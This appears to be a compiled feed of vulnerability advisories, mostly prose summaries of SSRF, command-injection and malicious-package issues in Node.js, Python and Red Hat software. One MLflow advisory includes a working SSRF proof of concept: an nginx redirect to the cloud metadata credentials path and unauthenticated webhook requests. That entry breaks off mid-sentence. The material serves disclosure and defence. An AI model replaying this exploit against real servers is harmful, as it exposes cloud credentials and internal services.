fast-uri, a URI parser for Node.js, has a vulnerability in versions 2.3.1 up to but not including 2.4.5, 3.0.0 up to but not including 3.1.6, and 4.0.0 up to but not including 4.1.3. The issue involves improper handling of percent-encoded slashes in the scheme component, leading to incorrect parsing and potential off-site redirects, server-side request forgery, or address-policy bypass. The flaw is fixed in versions 2.4.5, 3.1.6, and 4.1.3 by rejecting invalid schemes after decoding. Users should upgrade to these patched versions.
CVE-2026-78323 is a vulnerability in Red Hat Certificate System 10's Java Security Services (JSS) where the JSSTrustManager class improperly validates CA certificates by not verifying NSS trust flags. This flaw allows certificates without TRUSTED_CA flags in the NSS database to be accepted as trust anchors for TLS connections. Exploitation requires non-default configurations that disable certificate revocation checking, potentially enabling man-in-the-middle attacks with forged certificates. Default configurations mitigate this issue by enabling revocation verification. The server-side TLS validation path is unaffected.
fast-uri, a URI parser for Node.js, has a vulnerability in its custom parser for bracketed IPv6 literals that fails to fully validate IPv6 grammar. This allows malformed IPv6 addresses with invalid trailing characters to be normalized to valid but unintended addresses such as the unspecified address or private-range addresses. As a result, applications that normalize untrusted URLs before making outbound requests or routing can be tricked into redirecting to local or private IPv6 targets, enabling server-side request forgery and bypassing address-policy enforcement. The vulnerability affects versions 2.3.1 up to but not including 2.4.5, 3.0.0 up to but not including 3.1.6, and 4.0.0 up to but not including 4.1.3. Fixed versions are 2.4.5, 3.1.6, and 4.1.3.
Multiple security vulnerabilities have been identified and fixed in the nodejs24 package for Red Hat Enterprise Linux 10. These include denial of service issues in the brace-expansion library due to memory exhaustion and unbounded intermediate arrays, as well as server-side request forgery (SSRF) and trust-boundary bypass vulnerabilities in the ip-address library caused by IPv6 address misclassification and inconsistent IP address parsing. The update addresses these issues to improve the security of Node.js applications running on affected Red Hat platforms.
BentoML versions 1.4.19 through 1.4.39 contain a Server-Side Request Forgery (SSRF) vulnerability in the make_safe_connect function. This function blocks private, loopback, and link-local IP addresses but does not block the RFC 6598 shared address space (100.64.0.0/10, CGNAT). An unauthenticated attacker can exploit this by supplying URLs pointing to this CGNAT range via multipart file handling or JSON request parsing, causing the server to make unintended outbound requests. This vulnerability is an incomplete fix of a previous issue (CVE-2025-54381).
The npm package stillm4ddpocs-demo-sprocket version 999.9.12 contains malicious code that executes during installation. It collects sensitive host and project metadata, including hostname, username, directory paths, IP addresses, DNS resolver info, and package.json fields, then exfiltrates this data to a hardcoded external server using HTTPS, HTTP, and covert DNS channels designed to bypass egress filtering. The package uses a high version number to facilitate a dependency confusion attack, causing npm to resolve the public malicious package over internal versions without user consent.
SpecifyJS versions prior to 0.2.136 contain a Server-Side Request Forgery (SSRF) vulnerability due to improper handling of URL parsing errors. The function assertSecureUrl failed to throw an error when new URL() parsing failed, allowing requests to bypass HTTPS validation. This issue is fixed starting from version 0.2.136, where the catch block correctly throws an error to prevent insecure requests.
Checkmate is an open-source, self-hosted tool designed to track and monitor server hardware, uptime, response times, and incidents in real-time with beautiful visualizations. From 3.3.0 until 3.9.2, enabling the global showURL setting causes the unauthenticated GET /api/v1/status-page/:url endpoint to return complete monitor objects from server/src/controllers/statusPageController.ts. The response includes the secret field used by HttpProvider.ts as an HTTP Authorization credential, even though BaseStatusPage.tsx does not display that value, allowing visitors to extract credentials from the JSON response and use them against monitored services. This issue is fixed in version 3.9.2.
Checkmate is an open-source, self-hosted tool designed to track and monitor server hardware, uptime, response times, and incidents in real-time with beautiful visualizations. From 3.5.1 until 3.9.2, an authenticated admin or superadmin can set matchMethod to regex and place a malicious expression in the expectedValue field for advanced HTTP monitor matching. server/src/api/validation/monitorValidation.ts accepts the expression, and server/src/service/network/AdvancedMatcher.ts synchronously evaluates it against an attacker-controlled HTTP response body on the Node.js main event loop without a timeout or worker isolation, allowing catastrophic backtracking to freeze API endpoints, monitor checks, and WebSocket connections for all users. This issue is fixed in version 3.9.2.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
The reqcrypts package on PyPI contains malicious code that enables remote code execution. It functions as an HTTP client but executes base64-decoded Python code from a specific JSON response field (_payload) using exec(), allowing any responding HTTP server to run arbitrary code on the host. Additionally, it supports covert payload triggers that execute stored Python code silently. This behavior constitutes a hidden backdoor, exposing any application using reqcrypts to remote code execution risks.
CVE-2026-18420 is a high-severity vulnerability in OpenSearch Dashboards affecting versions 3.0.0 up to but not including 3.8.0. It involves improper input validation in the Time Series Visual Builder (TSVB) plugin, allowing an authenticated remote user to perform prototype pollution via a crafted JSON payload to the metrics visualization API endpoint, leading to remote code execution on the server. The issue is fixed in OpenSearch Dashboards 3.8.0.
CVE-2026-65842 is a Server-Side Request Forgery (SSRF) vulnerability in the udecode plate rich-text editor prior to version 53.3.2. The vulnerability arises from the @platejs/docx-io component fetching remote image URLs during HTML to DOCX conversion in server-side or privileged environments. This allows attackers to make requests to internal network resources and include the fetched image data in generated DOCX files, potentially disclosing internal responses and causing resource consumption. The issue is fixed in version 53.3.2.
CVE-2026-61704 is a Server-Side Request Forgery (SSRF) vulnerability in the OP-Engineering link-preview-js library prior to version 4.0.4. The issue arises from a DNS rebinding attack where the mitigation logic validates a resolved IP address but fetches the original hostname, allowing an attacker-controlled DNS server to bypass SSRF protections. This can lead to unauthorized server-side requests to internal HTTP resources. The vulnerability also affects redirect handling due to the same validation-to-fetch mismatch. The issue is fixed in version 4.0.4.
CVE-2026-18482 is a critical OS command injection vulnerability in Klarso GmbH's neo-mjs product. The flaw exists in the FileSystemService.mjs component of the ai/mcp/server/file-system MCP server, where the functions checkSyntax() and runPlaywrightTest() unsafely interpolate user-controlled absolutePath values into shell commands. This allows an attacker to execute arbitrary operating system commands if an AI agent is tricked into invoking these functions. The vulnerability is fixed in commit 88c77fc.
The setWebhookResolver in packages/api/src/resolvers/webhooks/index.ts stores the caller-supplied url without any address validation, and the file imports no validation helper. When a subscribed event fires, callWebhook in packages/api/src/jobs/call_webhook.ts issues axios.request with that url, the method and Content-Type recorded on the webhook, and a JSON body carrying the event data, so an authenticated user can make the server send repeated attacker-shaped requests to internal endpoints, including link-local metadata addresses. The request is blind: callWebhook discards the result and writes only a success line or the axios error to the server log, so the response is not returned through the API.
CVE-2026-14163 is a vulnerability in Octopus Deploy's Octopus Server where sensitive variables can be exposed in clear-text within the deployment variable snapshot JSON under certain conditions. This exposure affects specific versions of Octopus Server and can lead to unauthorized disclosure of sensitive information.
A server-side request forgery (SSRF) vulnerability exists in the vLLM batch runner component of Red Hat AI Inference 3.4.4 (spyre). An attacker who can control batch input JSON may exploit this flaw to force the server to make arbitrary HTTP/HTTPS requests, potentially accessing internal services such as cloud metadata endpoints or internal APIs. This could lead to information disclosure or further compromise of the host system. Currently, no effective mitigation or fix meeting Red Hat's criteria is available.
The npm package expect-dotenv version 7.2.1 contains malicious code that executes remote code from a concealed command-and-control server. When the package is required and its config() or get() functions are called, it fetches a string from a hidden URL, executes it in a Node.js VM context with full system privileges, allowing arbitrary code execution.